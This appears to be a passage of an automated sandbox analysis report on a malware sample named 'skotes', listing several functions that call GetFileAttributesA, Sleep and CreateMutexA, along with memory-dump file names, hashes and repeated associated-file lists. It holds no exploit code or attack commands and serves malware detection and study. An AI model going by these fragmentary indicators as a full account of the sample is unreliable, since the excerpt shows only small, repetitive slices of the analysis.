CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 6239fc69d2f8d5dbae8d7f873dbf16cbdb6924e5ef6bf44c3a740f992ddfb3dc
Instruction ID: 230d2f4b7e8e1296df3463a0277e18e21e31691f439cd7b2c1cde5885ba63449
Opcode Fuzzy Hash: 6239fc69d2f8d5dbae8d7f873dbf16cbdb6924e5ef6bf44c3a740f992ddfb3dc
Instruction Fuzzy Hash: BB312831B102409BEF189BBCDC8976DB7BBEB86310F24421CE415DBBD5C77699808792

Function 0069A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A41B
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: c74f87f6d3886ff83c75ec79fcb64848486a20cc2258bacd3abb744f701a3e4c
Instruction ID: 761074bd5a7ed0a72618d309932263fb1dfca460b23ca0df0f151688635ea9c5
Opcode Fuzzy Hash: c74f87f6d3886ff83c75ec79fcb64848486a20cc2258bacd3abb744f701a3e4c
Instruction Fuzzy Hash: FA311731B502009BEF08ABBCDD8DB6DB6EBEB86310F20421CE0549BBD5D77589808696

Function 0069A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A550
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 89638d7c6f4c63a12648537905001a8ccc24b212a211499cc9c892748c12ab39
Instruction ID: 380b16e1574b469cbff575cdf6d83e314777c83fea80978621c376959426afb6
Opcode Fuzzy Hash: 89638d7c6f4c63a12648537905001a8ccc24b212a211499cc9c892748c12ab39
Instruction Fuzzy Hash: 5A311571B002008BEF08EBBCD88DB6DB7ABEB85314F24461CE014DBBD6C73589818796

Function 0069A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A685
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 6d894d88bd49ae66491ad477db99e3fc0cc791bb723fa83de25a76bd0d495ee9
Instruction ID: e9ad77eca79aadea1371c198581988f6d896094ec8deb61ee05a7dbaf168dc87
Opcode Fuzzy Hash: 6d894d88bd49ae66491ad477db99e3fc0cc791bb723fa83de25a76bd0d495ee9
Instruction Fuzzy Hash: 73311531A102009BEF089BBCDD89B6DB7FBEB85310F244658E0149BBD5C77589808696

Function 0069A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A7BA
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

